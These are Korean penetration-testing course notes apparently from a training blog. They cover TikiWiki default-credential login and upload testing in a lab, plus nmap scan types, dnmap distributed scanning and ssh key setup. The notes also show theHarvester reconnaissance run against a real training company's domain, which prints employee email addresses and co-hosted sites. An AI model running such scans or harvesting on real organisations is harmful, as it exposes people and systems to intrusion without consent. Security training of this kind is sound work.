+--------+-------+-------+----------+----------+---------------+-----------+--------------+------------------+-----------+----------+----------------------------------+---------+------------+------------+----------------+------------+---------------+------------+-------+
| userId | email | login | password | provpass | default_group | lastLogin | currentLogin | registrationDate | challenge | pass_due | hash                             | created | avatarName | avatarSize | avatarFileType | avatarData | avatarLibName | avatarType | score |
+--------+-------+-------+----------+----------+---------------+-----------+--------------+------------------+-----------+----------+----------------------------------+---------+------------+------------+----------------+------------+---------------+------------+-------+
|      1 |       | admin | admin    | NULL     | NULL          |      NULL |         NULL |             NULL | NULL      |     NULL | f6fdffe48c908deb0f4c3bd36c032e72 |    NULL | NULL       |       NULL | NULL           | NULL       | NULL          | NULL       |     0 |
+--------+-------+-------+----------+----------+---------------+-----------+--------------+------------------+-----------+----------+----------------------------------+---------+------------+------------+----------------+------------+---------------+------------+-------+
1 row in set (0.00 sec)
mysql> select login,password from users_users;
+-------+----------+
| login | password |
+-------+----------+
| admin | admin    |
+-------+----------+
1 row in set (0.00 sec)

mysql> quit

-> admin/admin 정보 확인

$ exit
#

# firefox &
-> http://192.168.10.134/tikiwiki/tiki-index.php
-> 오른쪽 상단 부분에 login 부분에 "user: admin, pass: admin" 입력
-> 왼쪽 메뉴에 'Backups'가 존재한다.
-> 하단에 'upload a backup' 부분의 '파일선택', 'upload'를 통해 파일업로드 취약점을 테스트 할
   수 있다. (이 부분은 개별적으로 테스트 하기 바란다.)



(정리) tikiwiki 프로그램의 취약점 점검
● nmap 툴을 통해 포트 스캔 작업 -> 80 포트
● 웹 접속 -> 사이트의 소개/목적
● powerpuzzer 툴을 사용하여 파일/디렉토리 목록화 -> tikiwiki 프로그램 설치 확인
● tikiwiki 프로그램의 취약점 점검(www.exploit-db.com) -> 취약점 점검 내용 확인
● 취약점 테스트





'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160621 정보수집단계  (0) 2016.06.21
20166020 코드엔진 아카이브  (0) 2016.06.21
20160617 정보수집단계  (0) 2016.06.18
20160616 정보수집단계  (0) 2016.06.16
20160615 네트워크이론  (0) 2016.06.15
Posted by 22Hz
, |



[과제] dnsenum/dnsmap/dig 명령어의 출력 내용에 traceroute 명령어를 사용하여 대상 시스템의 DMZ 네트워크 맵을 그려보자.(10분)
-> 상용사이트(작은 사이트) 하나를 선정한다.
-> traceroute(visualroute) 사용하여 대상 시스템의 DMZ 네트워크 맵을 그린다.
-> !!!! 반드시 수동으로 작업해 주세요. !!!!

[참고] 네트워크 토폴로지를 그려주는 툴
(사용) SolarWins



[실습3] theharvester CMD

■ theharvester 개요
theHarvester is a tool for gathering e-mail accounts, subdomain names, virtual
hosts, open ports/ banners, and employee names from different public sources
(search engines, pgp key servers).

Is a really simple tool, but very effective for the early stages of a penetration
test or just to know the visibility of your company in the Internet.


■ 소스코드 다운로드
● http://code.google.com/p/dnsmap/


[실습] theharvester 명령어 사용법

(KaliLinux)

# theharvester

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.6                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Usage: theharvester options

       -d: Domain to search or company name
       -b: data source: google, googleCSE, bing, bingapi, pgp
                        linkedin, google-profiles, people123, jigsaw,
                        twitter, googleplus, all

       -s: Start in result number X (default: 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
       -h: use SHODAN database to query discovered hosts
            google 100 to 100, and pgp doesn't use this option)

Examples:
        theharvester -d microsoft.com -l 500 -b google
        theharvester -d microsoft.com -b pgp
        theharvester -d microsoft -l 200 -b linkedin
        theharvester -d apple.com -b googleCSE -l 500 -s 300


[참고] -d <data source> 대해서
------------------------------------------------------------------------------
-google: google search engine  - www.google.com
-googleCSE: google custom search engine
-google-profiles: google search engine, specific search for Google profiles
-bing: microsoft search engine  - www.bing.com
-bingapi: microsoft search engine, through the API (you need to add your Key in
          the discovery/bingsearch.py file)
-pgp: pgp key server - pgp.rediris.es
-linkedin: google search engine, specific search for Linkedin users
-vhost: Bing virtual hosts search
-twitter: twitter accounts related to an specific domain (uses google search)
-googleplus: users that works in target company (uses google search)
-yahoo: Yahoo search engine
-baidu: Baidu search engine
-shodan: Shodan Computer search engine, will search for ports and banner of the
         discovered hosts  (http://www.shodanhq.com/)
------------------------------------------------------------------------------

# theharvester -d soldesk.com -l 500 -b google

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.6                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


[-] Searching in Google:
    Searching 0 results...
    Searching 100 results...
    Searching 200 results...
    Searching 300 results...
    Searching 400 results...
    Searching 500 results...


[+] Emails found:
------------------
test@soldesk.com
jclee@soldesk.com
webmaster@soldesk.com
designer@soldesk.com
hrd@soldesk.com
msms@soldesk.com
jdkal@soldesk.com
@sun.soldesk.com
kim10322@soldesk.com

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
183.111.174.9:www.soldesk.com
183.111.174.9:sun.soldesk.com
183.111.174.9:w.soldesk.com


# theharvester -d soldesk.com -l 500 -b all

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.6                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Full harvest..
[-] Searching in Google..
    Searching 0 results...
    Searching 100 results...
    Searching 200 results...
    Searching 300 results...
    Searching 400 results...
    Searching 500 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
    Searching 50 results...
    Searching 100 results...
    Searching 150 results...
    Searching 200 results...
    Searching 250 results...
    Searching 300 results...
    Searching 350 results...
    Searching 400 results...
    Searching 450 results...
    Searching 500 results...
[-] Searching in Exalead..
    Searching 50 results...
    Searching 100 results...
    Searching 150 results...
    Searching 200 results...
    Searching 250 results...
    Searching 300 results...
    Searching 350 results...
    Searching 400 results...
    Searching 450 results...
    Searching 500 results...
    Searching 550 results...


[+] Emails found:
------------------
test@soldesk.com
jclee@soldesk.com
webmaster@soldesk.com
designer@soldesk.com
hrd@soldesk.com
msms@soldesk.com
jdkal@soldesk.com
@sun.soldesk.com
kim10322@soldesk.com
@soldesk.com
consultant@soldesk.com
jdkal@soldesk.com

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
183.111.174.9:www.soldesk.com
183.111.174.9:sun.soldesk.com
183.111.174.9:w.soldesk.com
183.111.174.9:www.soldesk.com
[+] Virtual hosts:
==================
183.111.174.9    ccbandfestival.com
183.111.174.9    cool365.kr
183.111.174.9    rah.kr
183.111.174.9    www.madeul.org
183.111.174.9    psent.co.kr
183.111.174.9    xfind.co.kr
183.111.174.9    www.youthcabin.kr
183.111.174.9    www.topmc.co.kr
183.111.174.9    yechan365.com
183.111.174.9    vhost.kr
183.111.174.9    www.psent.co.kr
183.111.174.9    ww.madeul.org
183.111.174.9    torrent.cool365.kr
183.111.174.9    shinedesign.co.kr
183.111.174.9    www.apielsa.com
183.111.174.9    wwww.mlibaba.com
183.111.174.9    gstaron.cafe24.com
183.111.174.9    www.czzjyzjy.blog.china.mlibaba.com
183.111.174.9    cielonda.com
183.111.174.9    mlibaba.com
183.111.174.9    toc.vhost.kr
183.111.174.9    cctopband.com
183.111.174.9    util.cool365.kr
183.111.174.9    movie.cool365.kr
183.111.174.9    occcvrr.vhost.kr
183.111.174.9    czzjyzjy.blog.china.mlibaba.com
183.111.174.9    movie.vhost.kr
183.111.174.9    fl.yechan365.com
183.111.174.9    g8.vhost.kr
183.111.174.9    mumushop.co.kr
183.111.174.9    m.cool365.kr
183.111.174.9    s1.vhost.kr
183.111.174.9    misogirl.me
183.111.174.9    app.cool365.kr
183.111.174.9    m.mlibaba.com
183.111.174.9    file.vhost.kr
183.111.174.9    t1.vhost.kr
183.111.174.9    s5.vhost.kr
183.111.174.9    www.evitaclinic.com
183.111.174.9    www.mumushop.co.kr
183.111.174.9    down.cool365.kr
183.111.174.9    3warfan.com
183.111.174.9    k8.vhost.kr
183.111.174.9    t2.vhost.kr
183.111.174.9    jerseys---www.mlibaba.com
183.111.174.9    isearch.cool365.kr
183.111.174.9    g1.vhost.kr
183.111.174.9    click.cool365.kr
183.111.174.9    apps.vhost.kr
183.111.174.9    www.shop.xfind.co.kr
183.111.174.9    file.xfind.co.kr
183.111.174.9    www.iphone1x.com
183.111.174.9    s3.vhost.kr
183.111.174.9    s8.vhost.kr
183.111.174.9    m.xfind.co.kr

-> 약간 시간이 걸린다.(검색 대상에 따라 5분 ~ 10분정도)








C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\04_정규과정\02_정보수집단계\02_스캐닝.hwp




스캐닝(SCAN)





1. 용어

풋프린팅(Footprinting)
● 공격 대상의 정보를 모으는 방법(기술적인 해킹 공격, 신문, 게시판, 구글링등)
● 풋 프린팅에는 매우 다양한 기법이 있으며, 매우 넓은 범위가 포함된다.

사회공학(Social Engineering)
● 기술적인 해킹에 의한 방법이 아닌, 개인적인 인간관계, 업무적 관계 등을 이용한 방법(EX: 훔쳐보기등)
● 비 기술적인 경로를 이용해서 정보를 모으는 방법


2. 스캐닝(Scanning)

스캔(Scan)
● 서비스를 제공하는 서버의 작동 여부와 제공하고 있는 서비스를 확인
● TCP 기반의 프로토콜의 질의(Request)/응답(Response) 메커니즘 사용
● 열려 있는 포트, 제공하는 서비스, 동작중인 데몬의 버전, 운영체제의 버전, 취약점 등 다양한 정보 획득 가능
● 일반적으로 nmap, nessus, nexpose, openVAS 등을 사용

ICMP Scan(EX: ping, traceroute)
● ping은 네트워크와 시스템이 정상적으로 작동하는지 확인하는 유틸러티
● ICMP(Internet Control Messaging Protocol)를 사용

Service Scan
● 특정 애플리케이션이 동작하는 경우 반드시 구동되는 포트가 있다는 것에 기인하여 확인
● telnet 유틸러티 사용(EX: telnet 192.168.20.200 443)


3. 스캐닝 도구

스캔 범위에 의한 스캐닝 도구의 종류
● 시스템 진단 도구- 진단 대상 시스템에 설치되어 시스템의 내부 보안 취약점 진단- 단순 패스워드, 패치 현황, 중요 파일 변조 여부, 백도어, 루트킷(Rootkit) 설치여부 체크
● 네트워크 스캐닝 도구- 네트워크 상의 특정 시스템에 설치/시스템 원격 진단- 주요 네트워크 서비스들에 대한 정보 수집, 해킹 가능여부 및 취약점 점검, 백도어 설치 여부 체크
● 전문 스캐닝 도구- 데이터 베이스 스캐닝 도구- 방화벽 룰셋(Ruleset) 테스트 도구- 웹 서버 취약점 진단 도구- 소스 코드 취약점 진단 도구

진단순서(EX : 모의해킹, 모의진단)
    (ㄱ) 시스템 진단 도구(각 서버에script 실행)
    (ㄴ) 네트워크 스캐닝 도구(취약점 통합 진단 도구(nussus))
    (ㄷ) 전문 스캐닝 도구(취약점 개별 진단 도구(DB, WEB))
    (ㄹ) 개인적으로 진단

[참고] 국내외 상용 스캐닝 도구의 비교
● 국내는 시스템 진단 툴 위주, 국외는 네트워크 스캐닝 툴 위주
● ISS와 netRecon이 세계 시장의 50 ~ 60% 차지
● 최근 스캐닝 툴에 대한 관심이 높아지면서 외국에서 많은 사용제품이 출시되고 있음.






    ■ 정보 수집 과정의 종류
    □ 검색 엔진을 사용하는 경우(EX: 구글링)        □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com)        □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
    □ DNS 서버를 사용하는 경우(EX: dnsenum CMD)
    □ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
    □ 스캐너를 사용하는 방법        □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)        □ 취약점 스캐너를 사용하는 방법(EX: Nessus/OpenVAS/Nexpose)






4. nmap(Netowrk Mapper) CMD

    nmap CMD
    - Host sweep : 호스트의 alive 유무 확인
    - Port scan  : 호스트의 포트 open 유무 확인

■ nmap 명령어의 주요 옵션

옵션
설명
-sT
TCP Open Scan
-sS
TCP Half Open Scan(세션을 성립시키지 않는 SYN 스캔)
-sF
TCP FIN Scan(FIN 패킷을 이용한 스캔)
-sN
TCP NULL Scan(NULL 패킷을 이용한 스캔)
-sX
TCP Xmas 스캔(FIN, PSH, URG 패킷을 이용한 스캔)
-sP
ping 이용한 호스트 활성화 여부 확인
-sU
UDP Port Scan
-O
대상 호스트의 운영체제 판별
-F
Fast scan
-sV
Service Version

-> -A, -T4, -v(-vv), -o

칼리리눅스에서는
    Information Gathering > Network Scanners > Nmap
를 선택하거나 혹인 nmap(zenmap) 명령어를 사용하면 된다.


(1) UDP Open Scan
● 공격자는 UDP 패킷을 전송- 포트 Open : 응답 없음- 포트 Close: ICMP Unreachable 회신


Port Open
Port Close
       공격자            피해자
    |        |
    |    UDP 패킷    |
    |--------------->    |
    |        |
    |    응답 X    |
    |<---------------    |
    |        |
    |        |
       공격자            피해자
    |        |
    |    UDP 패킷    |
    |--------------->    |
    |        |
    |ICMP Unreachable |
    |<---------------    |
    |        |
    |        |


# nmap -sU -p 53 192.168.20.200   (kaliLinux -> linux200)
[실습] UDP Open Scan 패킷을 분석




(2) TCP Open Scan
● 공격자는 TCP SYN 패킷 전송- 포트 Open : SYN/ACK 패킷 회신후 ACK 전송- 포트 Close: RST/ACK 패킷 회신


Port Open
Port Close
       공격자            피해자
    |        |
    |      SYN    |
    |--------------->    |
    |     SYN/ACK    |
    |<---------------    |
    |      ACK    |
    |--------------->    |
    |        |
       공격자            피해자
    |        |
    |       SYN    |
    |--------------->    |
    |        |
    |     RST/ACK     |
    |<---------------    |
    |        |
    |        |


# nmap -sT -p 22 192.168.20.200   (kaliLinux -> linux200)
[실습] TCP Open Scan 패킷 분석




(3) TCP Half Open Scan(Stealth Scan)
● 공격자는 TCP SYN 패킷 전송- 포트 Open : SYN/ACK 패킷 회신 후 RST 패킷 전송- 포트 Close: RST/ACK 패킷 회신


Port Open
Port Close
       공격자            피해자
    |        |
    |      SYN    |
    |--------------->    |
    |     SYN/ACK    |
    |<---------------    |
    |      RST    |
    |--------------->    |
    |        |
       공격자            피해자
    |        |
    |       SYN    |
    |--------------->    |
    |        |
    |     RST/ACK     |
    |<---------------    |
    |        |
    |        |


# nmap -sS -p 23 192.168.20.200   (kaliLinux -> linux200)
[실습] TCP Half Open Scan 패킷 분석



[참고] Stealth Scan 이란?
● 스캔하는 대상에 단순히 로그를 남기지 않는다.
● 공격 대상을 속이고 자신의 위치 또한 숨기는 스캔이다.(EX: TCP Half Open Scan, FIN Scan, Xmas Scan, NULL Scan)




(4) FIN, Xmas, NULL Scan
● 공격자가     FIN Scan인 경우 : TCP FIN 패킷 전송    Xmas Scan인 경우: TCP FIN/PSH/URG  패킷 전송    NULL Scan인 경우: TCP NULL 패킷 전송- 포트 Open : 응답없음- 포트 Close: RST 패킷 회신


Port Open
Port Close
       공격자            피해자
    |    FIN    |
    |          NULL    |
    |          Xmas    |
    |--------------->    |
    |        |
    |     응답 없음    |
    |        |
       공격자            피해자
    |    FIN    |
    |          NULL    |
    |          Xmas    |
    |--------------->    |
    |    RST 패킷    |
    |<--------------     |
    |        |


FIN Scan 인 경우) # nmap -sF -p 21 192.168.20.200   (kaliLinux -> linux200)
Xman Scan인 경우) # nmap -sX -p 21 192.168.20.200   (kaliLinux -> linux200)
NULL Scan인 경우) # nmap -sN -p 21 192.168.20.200   (kaliLinux -> linux200)
[실습] TCP FIN SCAN 패킷 분석
[실습] TCP NULL SCAN 패킷 분석
[실습] TCP Xmas SCAN 패킷 분석




[실습] 인터넷을 활용하여 nmap 사용하는 방법에 대해서 정리
● zenmap을 실행하여 명령어를 정리한다.
● 인터넷상의 문서를 통해 nmap 사용법을 정리한다.

(linux200) # yum -y install nmap-frontend
      # xnmap &
(windows)  zenmap 실행
(KaliLinux) # zenmap &

[참고] nmap/zenmap 사용방법




[참고] dnmap 이용한 분산 nmap 수행하기

What is dnmap?
--------------
dnmap is a framework to distribute nmap scans among several clients. It reads an already created file with nmap commands and send those commands to each client connected to it.
The framework use a client/server architecture. The server knows what to do and the clients do it. All the logic and statistics are managed in the server. Nmap output is stored on both server and client.
Usually you would want this if you have to scan a large group of hosts and you have several different internet connections (or friends that want to help you)

Topology
--------
|--------------------|
| nmap commands file |
|--------------------|
          |
          |
          V
  |--------------|
  | dnmap_server |
  |--------------|
          |
          |  |--------------|
          |- | dnmap_client |-> Packets to the net...
          |  |--------------|
          |
          |  |--------------|
          |- | dnmap_client |-> Packets to the net...
          |  |--------------|
          |
          |  |--------------|
          |- | dnmap_client |-> Packets to the net...
          |  |--------------|
          .
          .

Basic usage
-----------
1- Put some nmap commands on a file like commands.txt
2- Start the dnmap_server
 ./dnmap_server -f commands.txt
3- Start any number of clients
 ./dnmap_client -s <server-ip> -a <alias>

The server will start to give nmap commands to the clients and results will b
e stored on both sides.

dnmap_server features
---------------------
● If the server gets down, clients continue trying to connect until the server gets back online.
● If the server gets down, when you put it up again it will send commands starting from the last command given before the shutdown. You do not need to remember where it was.
● You can add new commands to the original file without having to stop the server. The server will read them automatically.
● If some client goes down, the server will remember which command it was executing and it will re-schedule it for later.
● It will store every detail of the operations in a log file.
● It shows real time statistics about the operation of each client, including:
  - Number of commands executed
  - Last time seen
  - Uptime
  - Version of the client
  - If the client is being run as root or not.
  - It calculates the amount of commands executed per minute
  - The historic average of the amount of commands executed per minute
  - The status of the client (Online, Offline, Executing or Storing)
● You can choose which port to use. Defaults to 46001
● Only the Online clients are shown in the running stats.


dnmap_client features
---------------------
● If the server gets down, it keeps connecting to it until it gets up again.
● Strip strange characters from the command sent by the server. Tries to avoid command injection vulns.
● It only executes the nmap command. It deletes the command send by the server and changes it by the known and trusted nmap binary on the system.
● You can select an alias for your user.
● You can change which port the client connects to.
● If the command sent by the server does not have a -oA option, the client add it anyway to the command, so it will always have a local copy of the output.
● If the server sends a min-rate parameter, it is striped out.
● You can control the nmap scanning rate regarthless of servers sent parameters.
● Tell the server if you are root or not, so it can change the nmap commands accordingly.


About nmap file commands creation
---------------------------------
Nmap is a great tool and it can manage large scans quite well. It is not wise to send only one port and one host to each of your clients. You would want to send at least one host with a lot of ports to each client. Or one different network to each client. If you divide the commands too much the distributed scan will be slower that one unique computer.

Example commands in the file that are OK:
nmap -sS -p22 192.168.1.0/24 -v -n -oA 192.168.1.0
nmap -sS -p22 192.168.2.0/24 -v -n -oA 192.168.3.0
nmap -sS -p22 192.168.3.0/24 -v -n -oA 192.168.4.0
nmap -sP -p22 192.168.3.0/24 -v -n -oA 192.168.4.0
nmap -sS --top-ports 100 192.168.3.3 -v -n -oA 192.168.3.3.top100
nmap -sS --top-ports 100 192.168.3.4 -v -n -oA 192.168.3.4.top100
nmap -sS --top-ports 100 192.168.3.5 -v -n -oA 192.168.3.5.top100

Example commands in the file you should avoid:
nmap -sS -p22 192.168.1.1 -v -n -oA 192.168.1.1
nmap -sS -p22 192.168.1.2 -v -n -oA 192.168.1.2
nmap -sS -p22 192.168.1.3 -v -n -oA 192.168.1.3


■ dnmap(Distributed nmap) : 분산을 이용한 엔맵 수행
● 서버와 클라이언트로 구성되어 있으며 서버가 클라이언트로 nmap 명령을 보내면 클라이언트가 내용을 받아서 실행한다.
● 여러 검사를 혼자 수행할 경우 부하가 심해지는데 dnmap을 사용하면 부하를 클라이언트로 분산시키는 효과를 볼수 있다. 또한 nmap의 결과는 서버와 클라이언트 양쪽에 로그 파일로 저장된다.




[실습] dnmap 사용하기

실습 시스템
● KaliLinux(dnmap CMD)
● linux200(CentOS)
● win2008(windows 2008)
● Firewall(CentOS)

실습 환경
● 실습에서는 KaliLinux 내에 서버/클라이언트를 같이 구성한다.

① 패키지 설치 확인

(KaliLinux)

    [참고] 패키지 관리 명령어 사용하는 방법에 대한 비교
    ■ (Debian 계열) SuSe + Debian + Utuntu
    # dpkg -l
    # dpkg -l <PKG>
    # dpkg -L <PKG>
    # dpkg -S /bin/ls
    # dpkg -s coreutils
    ■ (RedHat 계열) RedHat + CentOS + Fedora
    # rpm -qa
    # rpm -q <PKG>
    # rpm -ql <PKG>
    # rpm -qf /bin/ls
    # rpm -qi coreutils

# dpkg -l dnmap    (# dpkg -l | grep dnmap)

희망상태=알수없음(U)/설치(I)/지우기(R)/깨끗이(P)/고정(H)
| 상태=아님(N)/설치(I)/설정(C)/풀림(U)/절반설정(F)/일부설치(H)/트리거대기(W)/
| /    트리거밀림(T)
|/ 오류?=(없음)/다시설치필요(R) (상태, 오류가 대문자=불량)
||/ 이름         버전       Architecture 설명
+++-==============-============-============-=================================
ii  dnmap          0.6-1kali2   all          Distributed nmap framework


# dpkg -L dnmap

/.
/usr
/usr/share
/usr/share/doc
/usr/share/doc/dnmap
/usr/share/doc/dnmap/README.gz
/usr/share/doc/dnmap/copyright
/usr/share/doc/dnmap/changelog.Debian.gz
/usr/share/dnmap
/usr/share/dnmap/server.pem
/usr/bin
/usr/bin/dnmap_client
/usr/bin/dnmap_server


② (dnmap_server 에서) 명령 파일 작성
# mkdir -p /root/bin
# cd /root/bin
# vi dnmap_command.txt

nmap -sS -p 22 192.168.10.0/24 -v -n -oA 192.168.10.0
nmap -sS -p 22 192.168.20.0/24 -v -n -oA 192.168.20.0


    # man nmap
    -sS    -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
    -p    -p <port ranges>: Only scan specified ports
    -v    -v: Increase verbosity level (use -vv or more for greater effect)
    -n    -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
    -oA    -oA <basename>: Output in the three major formats at once


③ (dnmap_server 에서)dnmap 서버 실행
# dnmap_server -h

+----------------------------------------------------------------------+
| dnmap_server Version 0.6                                             |
| This program is free software; you can redistribute it and/or modify |
| it under the terms of the GNU General Public License as published by |
| the Free Software Foundation; either version 2 of the License, or    |
| (at your option) any later version.                                  |
|                                                                      |
| Author: Garcia Sebastian, eldraco@gmail.com                          |
| www.mateslab.com.ar                                                  |
+----------------------------------------------------------------------+

usage: /usr/bin/dnmap_server <options>
options:
  -f, --nmap-commands        Nmap commands file
  -p, --port        TCP port where we listen for connections.
  -L, --log-file        Log file. Defaults to /var/log/dnmap_server.conf.
  -l, --log-level       Log level. Defaults to info.
  -v, --verbose_level         Verbose level. Give a number between 1 and 5. Defaults to 1. Level 0 means be quiet.
  -t, --client-timeout         How many time should we wait before marking a client Offline. We still remember its values just in case it cames back.
  -s, --sort             Field to sort the statical value. You can choose from: Alias, #Commands, UpTime, RunCmdXMin, AvrCmdXMin, Status
  -P, --pem-file         pem file to use for TLS connection. By default we use the server.pem file provided with the server in the current directory.

dnmap_server uses a '<nmap-commands-file-name>.dnmaptrace' file to know where it must continue reading the nmap commands file. If you want to start over again,
just delete the '<nmap-commands-file-name>.dnmaptrace' file


# dnmap_server -f dnmap_command.txt

+----------------------------------------------------------------------+
| dnmap_server Version 0.6                                             |
| This program is free software; you can redistribute it and/or modify |
| it under the terms of the GNU General Public License as published by |
| the Free Software Foundation; either version 2 of the License, or    |
| (at your option) any later version.                                  |
|                                                                      |
| Author: Garcia Sebastian, eldraco@gmail.com                          |
| www.mateslab.com.ar                                                  |
+----------------------------------------------------------------------+

=| MET:0:00:00.000514 | Amount of Online clients: 0 |=
=| MET:0:00:05.005597 | Amount of Online clients: 0 |=
..... (중략) .....



④ (dnmap_clinet 에서)클라이언트 실행
# dnmap_client -h

+----------------------------------------------------------------------+
| dnmap Client Version 0.6                                             |
| This program is free software; you can redistribute it and/or modify |
| it under the terms of the GNU General Public License as published by |
| the Free Software Foundation; either version 2 of the License, or    |
| (at your option) any later version.                                  |
|                                                                      |
| Author: Garcia Sebastian, eldraco@gmail.com                          |
| www.mateslab.com.ar                                                  |
+----------------------------------------------------------------------+

usage: /usr/bin/dnmap_client <options>
options:
  -s, --server-ip        IP address of dnmap server.
  -p, --server-port      Port of dnmap server. Dnmap port defaults to 46001
  -a, --alias      Your name alias so we can give credit to you for your help. Optional
  -d, --debug      Debuging.
  -m, --max-rate      Force nmaps commands to use at most this rate. Useful to slow nmap down. Adds the --max-rate parameter.


# dnmap_client -s 192.168.20.50

+----------------------------------------------------------------------+
| dnmap Client Version 0.6                                             |
| This program is free software; you can redistribute it and/or modify |
| it under the terms of the GNU General Public License as published by |
| the Free Software Foundation; either version 2 of the License, or    |
| (at your option) any later version.                                  |
|                                                                      |
| Author: Garcia Sebastian, eldraco@gmail.com                          |
| www.mateslab.com.ar                                                  |
+----------------------------------------------------------------------+

Client Started...
Nmap output files stored in 'nmap_output' directory...
Starting connection...
Client connected succesfully...
Waiting for more commands....
    Command Executed: nmap -sS -p22 192.168.10.0/24 -v -n -oA 192.168.10.0
..... (중략) .....


⑤ (dnmap_server 에서)출력 내용 확인
● 일정한 시간이 흐른 이후에 결과가 nmap_output 디렉토리에 생성된다.

# cd /root/bin
# ls

nmap_output/     nmap_results/


    nmap_output/       dnmap_server 출력 결과
    nmap_results/      dnmap_client 출력 결과

# cd nmap_output
# ls

192.168.10.0.gnmap  192.168.10.0.xml    192.168.20.0.nmap
192.168.10.0.nmap   192.168.20.0.gnmap  192.168.20.0.xml


# cat 192.168.10.0.top100.nmap
-> 출력 내용 생략
# cat 192.168.20.0.top100.nmap
-> 출력 내용 생략


[실습] dnmap.sh 파일 만들기
● 분산 nmap 수행
● 구조

(dnmap server)    ---------------->
# vi dnmap_CMD.txt
nmap ......
nmap ......            (dnmap client1)
# ./dnmap.sh            # nmap ......
                -> resultA

                (dnmap client2)
                # nmap ......
                -> resultB
        <----------------
# cat result.txt

----------------------------------------------------------------------
(이론1) ssh/scp/sftp CMD 사용법
----------------------------------------------------------------------
    ■ ssh CMD 사용법
    # ssh <USER>@<IP>        (EX) # ssh 192.168.20.200
    # ssh <USER>@<IP> <CMD>    (EX) # ssh 192.168.20.200 hostname


사용시스템
- linux200  (192.168.20.200)
- KaliLinux (192.168.20.50)

(KaliLinux)
# ssh 192.168.20.200
root 사용자로 로그인
# hostname
# id
# exit

# cd ~/.ssh
# cat known_hosts

# ssh user01@192.168.20.200
user01 사용자로 로그인
$ hostname
$ id
$ exit
#

# cd ~/.ssh
# > known_hosts

# ssh 192.168.20.200 hostname
yes
root 사용자의 암호 입력
# ssh user01@192.168.20.200 id
user01 사용자의 암호 입력
# ssh user01@192.168.20.200 "hostname ; id"
user01 사용자의 암호 입력

    ■ scp CMD 사용법
    # scp file1 192.168.20.200:/tmp
    # scp file1 192.168.20.200:/tmp/file2
    # scp 192.168.20.200:/tmp/file2 /test
    # scp -r dir1 192.168.20.200:/tmp

# cd ~/.ssh
# > known_hosts

# scp /root/bin/reverse_test.exe 192.168.20.200:/tmp
root 사용자의 암호 입력
# ssh 192.168.20.200 ls -l /tmp/reverse*
root 사용자의 암호 입력

# scp 192.168.20.200:/tmp/reverse* /test
root 사용자의 암호 입력
# ls -l /test/reverse*

# scp -r /test 192.168.20.200:/tmp
root 사용자의 암호 입력
# ls -l /test
# ssh 192.168.20.200 ls -l /tmp/test
root 사용자의 암호 입력




------------------------------------------
(이론2) 인증 없이 명령어 수행
------------------------------------------

-------- hostA ------        ------- hostB -------
# ssh-keygen CMD
- id_rsa
- id_rsa.pub   -------------------->  authorized_keys


(KaliLinux)
# ssh-keygen -t rsa      (# ssh-keygen -t dsa)
<ENTER>
<ENTER>
<ENTER>
# cd ~/.ssh
# ls
id_rsa        /* private key file */
id_rsa.pub    /* public key file */

# scp id_rsa.pub 192.168.20.200:/root/.ssh/authorized_keys
root 사용자의 암호 입력
# ssh 192.168.20.200 ls -l /root/.ssh
-> root 사용자 암호 입력 없이 명령어 수행 가능

# ssh 192.168.20.200
# hostname
# id
# exit

# scp 192.168.20.200:/etc/hosts /test
# cat /test/hosts

# cd ~/.ssh
# ls
# mv id_rsa.pub authorized_keys

# service ssh restart
# ssh 192.168.20.50 hostname

    (Debian 계열)     # update-rc.d ssh defaults
                 # service ssh restart
    (RedHat 계열)     # chkconfig sshd on
                 # service sshd restart




----------------------------------------
(이론3) 스크립트를 작성해 보자
----------------------------------------
    # cmd.sh CMD
    (EX) cmd.sh hostname

(KaliLinux)
# service ssh restart

# cd /root/bin
# vi cmd.sh

#!/bin/bash

echo "----------- KaliLinux -----------"
ssh 192.168.20.50 $*
echo
echo "----------- linux200  -----------"
ssh 192.168.20.200 $*
echo


# chmod 755 cmd.sh
# ./cmd.sh hostname
# ./cmd.sh cat /etc/hosts

    # ./copy.sh file1 /tmp
    ---------------------------------
